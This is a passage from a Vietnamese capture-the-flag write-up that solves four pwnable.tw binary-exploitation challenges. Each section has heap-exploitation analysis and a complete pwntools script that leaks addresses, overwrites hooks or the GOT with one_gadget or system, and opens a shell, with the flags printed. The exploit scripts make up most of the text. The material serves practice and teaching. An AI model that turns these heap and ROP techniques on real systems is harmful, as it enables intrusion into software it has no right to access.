stringstream ss ;
power = new char[str.length()+1];
memcpy(power,str.c_str(),str.length());
cout << "Your power : " << power << endl ;
};
void ghostinfo(){
cout << "Type : " << type << endl ;
cout << "Name : " << name << endl ;
cout << "Age : " << age << endl ;
cout << "power : " << power << endl ;
}
~Devil(){
delete[] power;
};
private :
char *power ;
};
```
> mấy class còn lại tự coi nhé
- sau khi chọn type ghost thì tới bước này:
```c
template <class T>
int smalllist(T ghost){
unsigned int choice ;
cout << "1.Join " << endl;
cout << "2.Give up" << endl ;
cout << "3.Join and hear what the ghost say" << endl ;
cout << "Your choice : " ;
cin >> choice ;
if(!cin.good()){
cout << "Format error !" << endl ;
exit(0);
}
switch(choice){
case 1 :
ghostlist.push_back(ghost);
cout << "\033[32mThe ghost is joining the party\033[0m" << endl ;
return 1 ;
break ;
case 2 :
cout << "\033[31mThe ghost is not joining the party\033[0m" << endl ;
delete ghost ;
return 0 ;
break ;
case 3 :
ghostlist.push_back(ghost);
speaking(*ghost);
cout << "\033[32mThe ghost is joining the party\033[0m" << endl ;
return 1;
break ;
default :
cout << "\033[31mInvaild choice\033[0m" << endl ;
delete ghost ;
return 0 ;
break ;
}
}
```
> để mà sử dụng UAF ta phải xem sét option1 và option3
> chỉ khác nhau sau khi `.push_back()` , option3 có thêm `speaking(*ghost);`
- tham số **speaking()** là 1 class
```c
template <class T>
void speaking(T ghost){
ghost.speak();
};
```
>thực ra nó không tham chiếu đến class mình đưa vào mà tạo 1 class MỚI giống class mình truyền vào
>---> copy class mới vào ghost
>---> ghost chứa `speak()` thuộc **speaking()**
>---> gọi destructor bình thường
- idea work flow cho bài này là:
- ow **vfptr** thành one_gadget
> hijack the vfptr because the vfptr is writeable
### leak heap
```py
### vampire idx0
add(b'a',1,b'b',vampire)
sla(b'blood :', b'c'*0x60)
action()
show(0)
p.recvuntil(b'Blood : ')
heap = u64(p.recv(6) + b'\0\0') + 0x80 #jump next class
info("heap leak: " + hex(heap))
```

> thực ra value trên tượng trưng thôi, bị sai
> nhưng thực thế run bên server đúng nha
### leak exe
- tận dụng lỗi trên, ta có thể leak exe base cũng như vtable bằng cách dùng copy constructor từ class Devil
```py
### devil idx1
add(b'e',2,b'f',devil) #copy constructor
sla(b'power :', b'a')
action()
show(0)
p.recvuntil(b'Blood : ')
vtable_devil= u64(p.recv(6) + b'\0\0')
exe.address = vtable_devil - 0x210b60
info("vtable devil: " + hex(vtable_devil))
info("exe base: " + hex(exe.address))
```

### leak libc
- ở leak libc, ta sẽ ow vfptr để cái nó gọi thực ra là cái mình ow
```py
delete(0) #delete_0 vampire
payload = p64(vtable_devil) + p64(0) + p64(exe.got.__libc_start_main)
payload = payload.ljust(0x60,b'\0')
add(b'g',3,payload,mummy)
sla(b'bandage : ',b'leak')
action()
show()
p.recvuntil(b'0. : ')
libc_leak = u64(p.recv(6) + b'\0\0')
libc.address= libc_leak - 0x20740
info("libc leak: " + hex(libc_leak))
info("libc base: " + hex(libc.address))
sl(b'1')
```
- offset trên server hơi khác so với local (có lẽ khác Ubuntu hay 1 vấn đề nào khác) nên sẽ dùng readelf để lấy offset

>0x20740
### one_gadget
- việc còn lại là trigger vtable
```py
one_gadget = libc.address + 0xef6c4
payload = p64(heap) + p64(0) + p64(one_gadget)
payload = payload.ljust(0x60,b'\0')
## setup fastbin
# mummy idx1
add(b'g',3,payload,mummy) #reused
sla(b'bandage : ',b'leak')
action()
delete(1) #delete_1 mummy
# mummy idx1
add(b'g',3,payload,mummy)
sla(b'bandage : ',b'leak')
action()
show(0) #trigger vfptr one_gadget
```
### get flag

- setup local:
> nếu các đồng chí đã pwninit mà run file patched bị thiếu libc
```bash
1. tự code rồi build Docker 2.23
2. khó khăn thì liên hệ tui, tui gửi libc bị thiếu cho
$ patchelf --add-needed libgcc_s.so.1 ghostparty_patched
$ patchelf --add-needed libstdc++.so.6 ghostparty_patched
```
- script:
```py
#!/usr/bin/python3
from pwn import *
exe = ELF('./ghostparty', checksec=False)
libc = ELF('./libc_64.so.6', checksec=False)
context.binary = exe
info = lambda msg: log.info(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda data: p.send(data)
sln = lambda msg, num: sla(msg, str(num).encode())
sn = lambda msg, num: sa(msg, str(num).encode())
def GDB(): #NOASLR
if not args.REMOTE:
gdb.attach(p, gdbscript='''
b*0x555555405269
#memcpy in vampire
#b*0x555555404BE0
b*0x555555407f89
#show blood vampire
b*0x555555403add
#message
c
''')
input()
if args.REMOTE:
p = remote('chall.pwnable.tw',10401)
else:
p = process(exe.path)
#Rule of Three in C++
wolf = 1
devil = 2
zombie = 3
skull = 4
mummy = 5
dullahan = 6
vampire = 7
yuki = 8
kasa = 9
alan = 10
def add(name,age, msg, option):
sln(b'choice :', 1)
sla(b'Name : ', name)
sln(b'Age : ', age)
sla(b'Message : ', msg)
sln(b'ghost :', option)
def show(idx=None):
sln(b'choice :', 2)
if idx != None:
sln(b'party : ', idx)
def action():
sln(b'choice :', 3)
def delete(idx):
sln(b'choice :',4)
sln(b'party : ', idx)
GDB()
### vampire idx0
add(b'a',1,b'b',vampire)
sla(b'blood :', b'c'*0x60)
action()
show(0)
p.recvuntil(b'Blood : ')
heap = u64(p.recv(6) + b'\0\0') + 0x80 #jump next class
info("heap leak: " + hex(heap))
### devil idx1
add(b'e',2,b'f',devil) #copy constructor
sla(b'power :', b'a')
action()
show(0)
p.recvuntil(b'Blood : ')
vtable_devil= u64(p.recv(6) + b'\0\0')
exe.address = vtable_devil - 0x210b60
info("vtable devil: " + hex(vtable_devil))
info("exe base: " + hex(exe.address))
delete(0) #delete_0 vampire
payload = p64(vtable_devil) + p64(0) + p64(exe.got.__libc_start_main)
payload = payload.ljust(0x60,b'\0')
### mummy idx1
add(b'g',3,payload,mummy)
sla(b'bandage : ',b'leak')
action()
show()
p.recvuntil(b'0. : ')
libc_leak = u64(p.recv(6) + b'\0\0')
libc.address= libc_leak - 0x20740
info("libc leak: " + hex(libc_leak))
info("libc base: " + hex(libc.address))
sl(b'1')
delete(1) #delete_1 mummy
one_gadget = libc.address + 0xef6c4
payload = p64(heap) + p64(0) + p64(one_gadget)
payload = payload.ljust(0x60,b'\0')
## setup fastbin
# mummy idx1
add(b'g',3,payload,mummy) #reused
sla(b'bandage : ',b'leak')
action()
delete(1) #delete_1 mummy
#mummy idx1
add(b'g',3,payload,mummy)
sla(b'bandage : ',b'leak')
action()
show(0) #trigger vfptr one_gadget
p.interactive()
#FLAG{D0n7_f0g07_7H3_c0pY_c0Ns7Ruc70R}
```
>FLAG{D0n7_f0g07_7H3_c0pY_c0Ns7Ruc70R}
---
## CAOV [350 pts]
- description
What does "CAOV" stands for ?
`nc chall.pwnable.tw 10306`
[caov](https://pwnable.tw/static/chall/caov)
[caov.cpp](https://pwnable.tw/static/chall/caov.cpp)
[libc.so](https://pwnable.tw/static/libc/libc_64.so.6)
- basic file check

- check ida (có renamed lại)

>**main()**
>trước khi vào khai thác sẽ qua 1 hàm **set_name()** (sẽ show sau)
>sau đó nhập vào **key** (kiểu char)
>và **value** (kiểu int64)
>rồi tạo struct Data

> **playground()**

>**set_name()**
> max read 150 trên stack
> sau đó cpy vào biến **name**

>**edit()**
>BUG nằm ở trong đây (sẽ phân tích sau)

>**set_old()**
>set NULL rồi gán thời gian lên
>giống default destructor

>**change()**
>operator new cái mới
>size từ struct, tạo vào **&old**
>rồi return cái **©**

>**delete()**
> sẽ free nếu **key** không NULL
> là overridden destructor

>**edit_data()**
>nhập **key** với **value** mới nếu size < 1000
>và malloc với size = **key_len**
>

>**info()**
### analyse
- đề có cung cấp source nhưng ta phải nhìn ida vì do binary và source có vài điểm khác nhau
> nhìn source lòi con mắt cũng không thấy BUG đâu
> nhưng ida thì có, do cơ chế compile của C++
- đầu tiên, khi chọn option2, sẽ qua **set_name()** rồi mới tới **edit()**
- nhìn lại **edit()**, cái **©** sẽ lấy từ stack và nếu **key** không NULL sẽ free khi qua **delete()**
- nhưng ta lại có thể setup fake_chunk để free (trên stack) từ **set_name()**
- ngoài ra ở hàm **info()**, sẽ có thể leak thoải mái, vì nó show là show ptr

- lưu ý: để xác định **key**, ta cần heap base vì mọi dữ liệu khi ta cin sẽ new operator trên heap
- túm lại đây là BUG reused stack (DEBUG kĩ sẽ thấy cách dữ liệu trên stack bị tác động ntn)
- khi DEBUG, thấy struct có size là 0x48 (dù ida nhìn chỉ có 3 thứ thay đổi là **key**, **value** với **change_count**) tức là có 0x30 đầu sẽ bị xử lí
- với cả phải coi asm mới thấy được lỗi của chtrinh khi xử lí struct (tổng tận 0x60)

> ở **set_old()** xử lí **&old** từ 0x30 là **key**, 0x38 là **value** ... nhưng return **©** ở 0x60
- **Data** là struct trên heap được setup từ đầu trong hàm **main()** nên ctrol payload từ đầu sẽ ảnh hưởng khi DEBUG
> mấy cái **&old** và **©** là trên stack cũng theo struct nhưng không dính dáng tới **Data**
- và **Data** sẽ thay đổi khi vào hàm **edit_data**

- vì đây là libc 2.23 nên chỉ có fastbin và có hook
- ==TARGET==: Hook Overwrite = One_gadget
### leak heap
- đầu tiên khi vào hàm **play_ground()** ta sẽ setup struct **Data** có **key** là NULL
> **value** không ảnh hưởng gì đến workflow
> trong C++ sẽ tạo heap khi cin với input > 0x20
- sau đó chọn option2 sẽ đi qua lần lượt 2 hàm

- lúc này ta tận dụng BUG reused stack từ **set_name()** khi qua **edit()**
- miễn ta setup fake_chunk hoàn hảo sẽ dẫn đến free ptr tuỳ ý khi vào **delete()**
> ở đây payload chứa ptr ở 0x60 (như đề cập ở trên **©**) ---> fastbin
- khôn ngoan ở đây là ta có PIE tắt, biến **name** trên bss nên lấy nó luôn
```py
payload = flat(
0, 0x21, #stuff #fake_size
b'D'*8, b'E'*8, #fake_chunk #stuff
0x20, 0x20, #fake_prev_size #fake_next_size
b'A'*8, b'B'*8, #stuff
b'A'*8, b'B'*8, #stuff
b'A'*8, b'B'*8, #stuff
name_addr+0x10 #ptr_fake_chunk
)
```
>fake chunk size 0x20

- rồi setup tiếp phần **edit_data()** sẽ thay đổi **key**
> **key_len** cho 0x10 để malloc lại chunk 0x6032c0 (size 0x20), **key** ghi gì cũng được
- tiếp theo chọn tiếp option2, setup tiếp fake_chunk thứ 2
- lúc này ta thấy trong bin có chunk size 0x40, ta sẽ chain payload để khi free sẽ là `0x6032c0 -> 0x14d3c90`
```py
payload = flat(
0, 0x41, #stuff #fake_size
0, b'F'*8, #fake_chunk #stuff
b'A'*8, b'B'*8, #stuff
b'A'*8, b'B'*8, #stuff
b'A'*8, 0x20, #stuff #fake_next_size
b'A'*8, b'B'*8, #stuff
name_addr+0x10 #ptr_fake_chunk
)
```
> ở fake_chunk để 0 khi vào **change()** sẽ **malloc(1)** reused chunk rác 0x20 do **delete(old)** tạo ra ở payload đầu tiên

- nhưng lần này ở trong **edit_data()** sẽ KHÔNG thay đổi **key**
- lúc này khi **info()** ở after editing sẽ in ra heap


### leak libc
- xong leak heap, bây giờ để leak libc, ta cần khả năng ghi đè **key**
- có heap base ---> xác định heap trỏ **Data**->key
>bằng cách tạo tiếp fake_chunk, xác định **key** của chunk được malloc ra
- payload để chain cũng tương tự, nhưng ở phần **edit_data()** sẽ thay đổi **key** trỏ về got để leak libc
```py
payload = flat(
0, 0x51, #stuff #fake_size
0, 0,
0, 0,
0, 0,
0, 0,
0, 0x20, #fake_next_size
key_D_addr, #ptr_fake_chunk
)
key = p64(exe.got.strlen)
edit(payload, 0x30, key)
```

### malloc hook
- để ow one_gadget vào hook, đầu tiên sẽ chain lại như ban đầu để setup
> giữ nguyên **key** ở **edit_data()**
```py
payload = flat(
0, 0x71, #stuff #fake_size
b'G'*8, b'H'*8, #fake_chunk #stuff
b'A'*8, b'B'*8, #stuff
b'A'*8, b'B'*8, #stuff
b'A'*8, b'B'*8, #stuff
b'A'*8, b'B'*8, #stuff
name_addr+0x10, 0, #ptr_fake_chunk
0, 0x20 #fake_nex_size
)
edit(payload,1020,b'')
```
> mỗi lần chain fake_chunk sẽ chọn fake_size khác cho dễ nhìn
> nhưng ở malloc_hook phải chọn fake_size 0x71 vì ở malloc_hook - 0x23 có sẵn size 0x7f (từ libc)
- rồi ow hook ở `0x6032c0`
> nhưng lần này sẽ không thay đổi ở **delete(copy)**
> để không chạm gì tới fastbin
```py
payload = flat(
0, 0x71, #stuff #fake_size
malloc_hook, 0, #fake_chunk #stuff
b'A'*8, b'B'*8, #stuff
b'A'*8, b'B'*8, #stuff
b'A'*8, b'B'*8, #stuff
b'A'*8, b'B'*8, #stuff
0, 0, #©
0, 0x20 #fake_nex_size
)
```

>`0x7d7d26bc3aed` là malloc_hook - 0x23
- lúc này sẽ thay đổi **edit_data()**, **key_len** = 0x60 để malloc ra chunk size 0x70
- cuối cùng chỉ cần thêm 1 option2 rồi ở **edit_data()** cho **key_len** tiếp tục = 0x60 để edit **key** ở malloc_hook - 0x23
### get flag

- script: (có khả năng fail, run vài lần là được)
```py
#!/usr/bin/python3
from pwn import *
exe = ELF('./caov_patched', checksec=False)
libc = ELF('./libc_64.so.6', checksec=False)
context.binary = exe
def GDB():
if not args.REMOTE:
gdb.attach(p, gdbscript='''
b*0x401A99
#change strcpy
b*0x40198e
#set_old
b*0x4016C4
#call edit
b*0x401e8c
#delete
b*0x401824
#main cin_key
b*0x401557
#edit info after
c
''')
input()
info = lambda msg: log.info(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda data: p.send(data)
if args.REMOTE:
p = remote('chall.pwnable.tw',10306)
else:
p = process(exe.path)
def edit(name, size, data):
sla(b'choice: ', b'2')
sla(b'name: ', name)
sla(b'length: ', str(size))
if size <= 1000:
sla(b'Key: ', data)
sla(b'Value: ', str(0x1234))
def show():
sla(b'choice: ', b'1')
# GDB()
sla(b'name: ', b'hlaan')
sla(b'key: ', b'\0'*40)
sla(b'value: ', str(0x1234))
name_addr = 0x6032c0
payload = flat(
0, 0x21, #stuff #fake_size
b'D'*8, b'E'*8, #fake_chunk #stuff
0x20, 0x20, #fake_prev_size #fake_next_size
b'A'*8, b'B'*8, #stuff
b'A'*8, b'B'*8, #stuff
b'A'*8, b'B'*8, #stuff
name_addr+0x10 #ptr_fake_chunk
)
edit(payload, 0x10, 'A'*8)
# GDB()
payload = flat(
0, 0x41, #stuff #fake_size
0, b'F'*8, #fake_chunk #stuff
b'A'*8, b'B'*8, #stuff
b'A'*8, b'B'*8, #stuff
b'A'*8, 0x20, #stuff #fake_next_size
b'A'*8, b'B'*8, #stuff
name_addr+0x10 #ptr_fake_chunk
)
edit(payload, 1020, b'')
p.recvuntil(b'after')
p.recvuntil(b'Key: ')
heap_leak = u32(p.recv(4))
heap_base = heap_leak- 0x11c90
key_D_addr = heap_base + 0x11ce0
info("heap leak: " + hex(heap_leak))
info("heap base: " + hex(heap_base))
info('key Data addr : ' + hex(key_D_addr))
payload = flat(
0, 0x51, #stuff #fake_size
0, 0,
0, 0,
0, 0,
0, 0,
0, 0x20, #fake_next_size
key_D_addr, #ptr_fake_chunk
)
key = p64(exe.got.strlen)
edit(payload, 0x30, key)
p.recvuntil(b'after')
p.recvuntil(b'Key: ')
libc_leak = u64(p.recv(6)+b'\0\0')
libc.address = libc_leak - libc.sym.strlen
info("libc leak: " + hex(libc_leak))
info("libc base: " + hex(libc.address))
malloc_hook = libc.symbols['__malloc_hook'] - 0x23
one_gadget = libc.address + 0xef6c4
payload = flat(
0, 0x71, #stuff #fake_size
b'G'*8, b'H'*8, #fake_chunk #stuff
b'A'*8, b'B'*8, #stuff
b'A'*8, b'B'*8, #stuff
b'A'*8, b'B'*8, #stuff
b'A'*8, b'B'*8, #stuff
name_addr+0x10, 0, #ptr_fake_chunk
0, 0x20 #fake_nex_size
)
edit(payload,1020,b'')
payload = flat(
0, 0x71, #stuff #fake_size
malloc_hook, 0, #fake_chunk #stuff
b'A'*8, b'B'*8, #stuff
b'A'*8, b'B'*8, #stuff
b'A'*8, b'B'*8, #stuff
b'A'*8, b'B'*8, #stuff
0, 0, #©
0, 0x20 #fake_nex_size
)
edit(payload, 0x60, 'A'*0x10)
GDB()
key = b'\0'*19 + p64(one_gadget)
edit(b'a', 0x60, key)
p.interactive()
#FLAG{CAOV_stands_f0r_C0py_Ass1gnment_Operat0r_Vuln3rabil1ty_r3memb3r_alway5_r3turn_r3ference_typ3}
```
>FLAG{CAOV_stands_f0r_C0py_Ass1gnment_Operat0r_Vuln3rabil1ty_r3memb3r_alway5_r3turn_r3ference_typ3}
---
## Break Out [450 pts]
- basic file check

- check ida

>**main()**



>**init()**
>đọc file 'prisoner' rồi mỗi tù nhân tạo 1 cái heap, tạo struct nối nhau
>tối đa 10 tù nhân với 10 cái cell (idx)

>prisoner


>**interact()**



>**note()**
>tạo heap với idx (0->9), nếu idx chưa tạo trước sẽ malloc, nếu đã tạo từ trước, so sánh size mới, new_size > old_size sẽ realloc


>**punish()**
>cấn cái hàm này chỉ được phép punish (free) 1 lần (biến **occupied**)

>**list()**
>show thông tin tù nhân
- và có vài hàm nhỏ lẻ khác sẽ k mention tới

### analyse
- khi debug, mình thấy struct của nó như sau (sau khi **init()** prisoner)
```py
#Gus Oakley::40:Life imprisonment, espionage and computer crime
#James Doolin:Kid Twist:45:Life imprisonment, horrible homicides with ice pick
0x0 (void*) ptr_risk #ptr trỏ đến "High"
0x8 (void*) ptr_heap_name #James Doolin
0x10 (void*) ptr_heap_nickname #Kid Twist
0x18 int age #45
0x1c int cell #thứ tự tù nhân
0x20 (void*) ptr_heap_msg #Life imprisonment, horrible homicides with ice pick
0x28 int64 size #size note
0x30 (void*) ptr_heap_note #content note
0x38 NULL
0x40 NULL
0x48 (void*) ptr_prev #ptr tù nhân trước (Gus Oakley)
```
>mỗi block chunk có size 0x51 (do **calloc()** trong hàm **init()**)
- tiếp theo nhắc lại cơ chế **realloc()**, khi request một new_size > old_size thì **realloc()** sẽ free chunk cũ có old_size và **malloc()** chunk mới có size là new_size
- kết hợp libc 2.23 tức ta sẽ có libc khi reused chunk
---> leak libc
- ngoài ra hàm **list()** sẽ in ra *ptr nên ta chỉ cần ow 1 ptr nào đó thành ptr khác trỏ heap
---> leak heap
- ptr duy nhất có thể nhập data là note ---> fake ptr_heap_note = hook rồi nhập data tiếp theo sẽ là *hook
### leak libc
```py
add(6, 0x80, b"aaaa") #6 #malloc #66d0
add(7, 0x20, b"hlan") #7 #malloc #6760 #avoid consolidation
add(6, 0x90, b"bbbb") #6 #realloc #6790 #free #6
add(8, 0x80, b"a"*8) #8 #malloc #66d0 #reused #6
show()
p.recvuntil(b"Life imprisonment, murder")
p.recvuntil(b"a"*8)
libc_leak = u64(p.recv(6).ljust(8, b"\x00"))
libc.address = libc_leak - 0x3c3b78
malloc_hook = libc.sym.__malloc_hook
fake_chunk = malloc_hook - 0x23
info("libc leak:" + hex(libc_leak))
info("libc base:" + hex(libc.address))
info("fake chunk:" + hex(fake_chunk))
```
### leak heap
```py
delete(1) #6d60 #James Doolin
ptr_heap = malloc_hook+0x68
add(9, 0x48, p64(ptr_heap)*2) #9 #malloc #6d60
#9 -> #1
show()
p.recvuntil(b"multiple homicides")
p.recvuntil(b"Prisoner: ")
heap_leak = u64((p.recv(6))+b'\0\0')
info("heap leak:" + hex(heap_leak))
```
### fake chunk

> target_chunk -> fake_chunk
```py
#head: 0x5555556173b0
#attack: 0x555555616d60
# GDB()
add(2, 0x68, b"aaaa") #2 #malloc #79b0 #target_chunk
add(3, 0x20, b"hlan") #3 #malloc #7a20 #avoid consolidation
add(2, 0x78, b"bbbb") #2 #realloc #7a50 #free #79b0
#bin0x70: 9a0
target_chunk = heap_leak #79a0
info("target chunk:" + hex(target_chunk))
payload = p64(heap_leak) + p64(heap_leak) #stuff
payload += p64(heap_leak) + p64(0x000000010000002d) #stuff #key
payload += p64(heap_leak) + p64(0x10) #stuff #fake_size
payload += p64(target_chunk+0x10) #target_chunk
add(9, 0x48, payload) #9 #6d60 #not create new (changed #1)
add(1, 0x10, p64(fake_chunk)) #1 #not create new
#bin0x70 9b0->fake_chunk
```
> key là **age** với **cell** của tù nhân
### ow hook
- khúc này hơi lằn tà ngoằn xíu, ta không thể ow free_hook (vì cả chall chỉ được **free()** 1 lần) và nếu ow malloc_hook là system thì size cần là b'/bin/sh\0' nhưng có hàm strtoll chặn rồi
- chỉ còn cách ow malloc_hook là one_gadget
- nhưng xui là thử hết one_gadget vẫn k thoả mãn được
- vậy ta sẽ lách 1 xíu:
- malloc_hook = realloc
- realloc_hook = one_gadget
- chain như thế thì one_gadget sẽ thoả mãn điều kiện stack ở vị trí nhất định là NULL
>tăng giảm ở realloc để `pop` r14, r15, ... tăng stack lên phù hợp
```py
og = [0x45216, 0x4526a, 0xef6c4, 0xf0567]
one_gadget = libc.address + og[3]
system = libc.sym.system
info("malloc_hook:" + hex(malloc_hook))
info("one_gadget:" + hex(one_gadget))
#0x555555617a20
add(3, 0x68, b"cccc") #3 #realloc #79b0 #free #7a20
#bin0x70: fake_chunk
payload = b'a'*0xb + p64(one_gadget) + p64(libc.sym.realloc+11)#realloc_plt
add(4, 0x30, payload) #4 #malloc #7ad0
add(5, 0x40, b"hlan") #5 #malloc #7b10 #avoid consolidation
add(4, 0x68, b"") #4 #realloc #fake_chunk #free #7ad0
```
### get flag

- script:
```py
#!/usr/bin/python3
from pwn import *
exe = ELF('./breakout_patched', checksec=False)
libc = ELF('./libc_64.so.6', checksec=False)
# ld = ELF('./ld-2.23.so', checksec=False)
context.binary = exe
info = lambda msg: log.info(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda data: p.send(data)
def GDB(): #NOASLR
if not args.REMOTE:
gdb.attach(p, gdbscript='''
b*0x55555540193E
#note_realloc
b*0x55555540191a
#note_malloc
b*0x555555401a10
#punish_free
b*0x5555554018f7
#note_secure_read
c
''')
input()
if args.REMOTE:
p = remote('chall.pwnable.tw',10400)
else:
p = process(exe.path)
def add(cell, size, content):
sa(b"> ", b"note\n")
sa(b"Cell: ", str(cell))
sa(b"Size: ", str(size))
sa(b"Note: ", content)
def delete(cell):
sa(b"> ", b"punish\n")
sa(b"Cell: ", str(cell))
def show():
sa(b"> ", b"list\n")
### leak libc ###
add(6, 0x80, b"aaaa") #6 #malloc #66d0
add(7, 0x20, b"hlan") #7 #malloc #6760 #avoid consolidation
add(6, 0x90, b"bbb") #6 #realloc #6790 #free #6
add(8, 0x80, b"a"*8) #8 #malloc #66d0 #reused #6
show()
p.recvuntil(b"Life imprisonment, murder")
p.recvuntil(b"a"*8)
libc_leak = u64(p.recv(6).ljust(8, b"\x00"))
libc.address = libc_leak - 0x3c3b78
malloc_hook = libc.sym.__malloc_hook
fake_chunk = malloc_hook - 0x23
info("libc leak:" + hex(libc_leak))
info("libc base:" + hex(libc.address))
info("fake chunk:" + hex(fake_chunk))
### leak heap ###
delete(1) #6d60 #James Doolin
ptr_heap = malloc_hook+0x68
add(9, 0x48, p64(ptr_heap)*2) #9 #malloc #6d60
#9 -> #1
show()
p.recvuntil(b"multiple homicides")
p.recvuntil(b"Prisoner: ")
heap_leak = u64((p.recv(6))+b'\0\0')
info("heap leak:" + hex(heap_leak))
### target_chunk ###
#head: 0x5555556173b0
#attack: 0x555555616d60
# GDB()
add(2, 0x68, b"aaaa") #2 #malloc #79b0 #target_chunk
add(3, 0x20, b"hlan") #3 #malloc #7a20 #avoid consolidation
add(2, 0x78, b"bbbb") #2 #realloc #7a50 #free #79b0
#bin0x70: 9a0
target_chunk = heap_leak #79a0
info("target chunk:" + hex(target_chunk))
payload = p64(heap_leak) + p64(heap_leak) #stuff
payload += p64(heap_leak) + p64(0x000000010000002d) #stuff #key
payload += p64(heap_leak) + p64(0x10) #stuff #fake_size
payload += p64(target_chunk+0x10) #target_chunk
add(9, 0x48, payload) #9 #6d60 #not create new (changed #1)
add(1, 0x10, p64(fake_chunk)) #1 #not create new
#bin0x70 9b0->fake_chunk
### get fake_chunk ###
# input()
og = [0x45216, 0x4526a, 0xef6c4, 0xf0567]
one_gadget = libc.address + og[3]
system = libc.sym.system
info("malloc_hook:" + hex(malloc_hook))
info("one_gadget:" + hex(one_gadget))
#0x555555617a20
add(3, 0x68, b"cccc") #3 #realloc #79b0 #free #7a20
#bin0x70: fake_chunk
payload = b'a'*0xb + p64(one_gadget) + p64(libc.sym.realloc+11)#realloc_plt
add(4, 0x30, payload) #4 #malloc #7ad0
add(5, 0x40, b"hlan") #5 #malloc #7b10 #avoid consolidation
add(4, 0x68, b"") #4 #realloc #fake_chunk #free #7ad0
### get shell ###
sa(b"> ", b"note\n")
sa(b"Cell: ", b"0")
sa(b"Size: ", str(0x80))
p.interactive()
#FLAG{Br3ak_0ut_7He_Pr1s0N}
```
>FLAG{Br3ak_0ut_7He_Pr1s0N}
---
## unexploitable [500 pts]
- description:
The original challenge is on `pwnable.kr` and it is solvable.
This time we fix the vulnerability and now we promise that the service is unexploitable.
`nc chall.pwnable.tw 10403`
[unexploitable](https://pwnable.tw/static/chall/unexploitable)
[libc.so](https://pwnable.tw/static/libc/libc_64.so.6)
- basic file check

- check ida

>**main()**
### analyse
- BOF khá là rõ, nhưng với những dạng chall thế này thường là ROP
- có khá ít gadget nên sẽ đổi hướng qua ret2csu

> hơi khác, thay vì `pop` thì `mov` trên stack
- hơi khoai vì k có hàm để in ra

- nhưng vì có thể call thoải mái **read** (nếu setup csu) nên target sẽ là thay đổi **read@plt** thành 1 cái khác
- nhưng đổi từ **plt** này sang **plt** khác là điều không thể --> modify least significant byte

> byte '\x7e' là syscall
- vậy target là call **read** ghi 1 byte tại **read@got**
- từ đó setup syscall number ở $rax là có thể call mọi hàm (cụ thể để leak là **write**)
- leak xong call **read** tiếp thay đổi **read@plt** thành system
- setup "/bin/sh\0" rồi call **read** (system)
### trigger read 1 more time
```py
payload = b"a"*0x10
payload += p64(0xdeadbeef) #rbp
payload += csu_rop(0,1,exe.got.read,0,rw_section,0x600)
payload += p64(pop_rbp) #set rbp
payload += p64(rw_section+0x8) #rbp
payload += p64(leave_ret)
sl(payload)
```
### leak libc + get shell
```py
payload = b"/bin/sh\0" #rw_section
payload += p64(0xdeadbeef) #new rbp
payload += csu_rop(0, 1, exe.got.read, 0, exe.got.read, 1) #modify least significant byte to syscall
for i in range(6):
payload += csu_rop(0, 1, exe.got.read, 1, exe.got.__libc_start_main+i, 1) #leak libc
payload += csu_rop(0, 1, exe.got.read, 1, exe.got.__libc_start_main, 0) #change syscall number to read (RAX=0)
payload += csu_rop(0, 1, exe.got.read, 0, exe.got.read, 0x8) #ow read@got = system
payload += csu_rop(0, 1, exe.got.read, rw_section, 0, 0) #rdi = "/bin/sh\0" + call system
payload += p64(exe.sym.main)
sl(payload)
sleep(1)
s(b'\x7e') #syscall
sleep(1)
libc_leak = u64(p.recv(6)+b'\0\0')
libc.address = libc_leak - libc.sym.__libc_start_main
system = libc.sym.system
print(f"[*] Libc leak: {hex(libc_leak)}")
print(f"[*] Libc base: {hex(libc.address)}")
sleep(1)
s(p64(system))
```
- lưu ý, ta phải sleep 1 khoảng thời gian vì hong là tốc độ gửi tiếp payload tiếp theo quá nhanh --> recvuntil không kịp --> fail
> tuỳ thuộc vào delay độ trễ của server nên tăng time lên nếu cần thiết
### get flag

- script:
```py
#!/usr/bin/python3
from pwn import *
exe = ELF('./unexploitable_patched', checksec=False)
libc = ELF('./libc_64.so.6', checksec=False)
context.binary = exe
info = lambda msg: log.info(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda data: p.send(data)
sln = lambda msg, num: sla(msg, str(num).encode())
sn = lambda msg, num: sa(msg, str(num).encode())
def GDB():
if not args.REMOTE:
gdb.attach(p, gdbscript='''
b*main+51
c
''')
input()
if args.REMOTE:
p = remote('chall.pwnable.tw',10403)
else:
p = process(exe.path)
'''
0x00000000004005d0 <+80>: mov rdx,r15
0x00000000004005d3 <+83>: mov rsi,r14
0x00000000004005d6 <+86>: mov edi,r13d
0x00000000004005d9 <+89>: call QWORD PTR [r12+rbx*8]
------------------------------------------------------------
0x00000000004005e6 <+102>: mov rbx,QWORD PTR [rsp+0x8]
0x00000000004005eb <+107>: mov rbp,QWORD PTR [rsp+0x10]
0x00000000004005f0 <+112>: mov r12,QWORD PTR [rsp+0x18]
0x00000000004005f5 <+117>: mov r13,QWORD PTR [rsp+0x20]
0x00000000004005fa <+122>: mov r14,QWORD PTR [rsp+0x28]
0x00000000004005ff <+127>: mov r15,QWORD PTR [rsp+0x30]
0x0000000000400604 <+132>: add rsp,0x38
0x0000000000400608 <+136>: ret
'''
rw_section = 0x601028 + (0x100-0x8)
csu_1 = 0x00000000004005e6
csu_2 = 0x00000000004005d0
pop_rbp = 0x0000000000400512
leave_ret = 0x0000000000400576
def csu_rop(rbx:int, rbp:int, r12:int, rdi:int, rsi:int, rdx:int):
rop = p64(csu_1)
rop += p64(0) #padding
rop += p64(rbx) #rbx
rop += p64(rbp) #rbp
rop += p64(r12) #r12->call
rop += p64(rdi) #r13->edi
rop += p64(rsi) #r14->rsi
rop += p64(rdx) #r15->rdx
rop += p64(csu_2) #call r12
rop += b"A"*0x38 #padding
return rop
payload = b"a"*0x10
payload += p64(0xdeadbeef) #rbp
payload += csu_rop(0,1,exe.got.read,0,rw_section,0x600)
payload += p64(pop_rbp) #set rbp
payload += p64(rw_section+0x8) #rbp
payload += p64(leave_ret)
sl(payload)
sleep(3)
GDB()
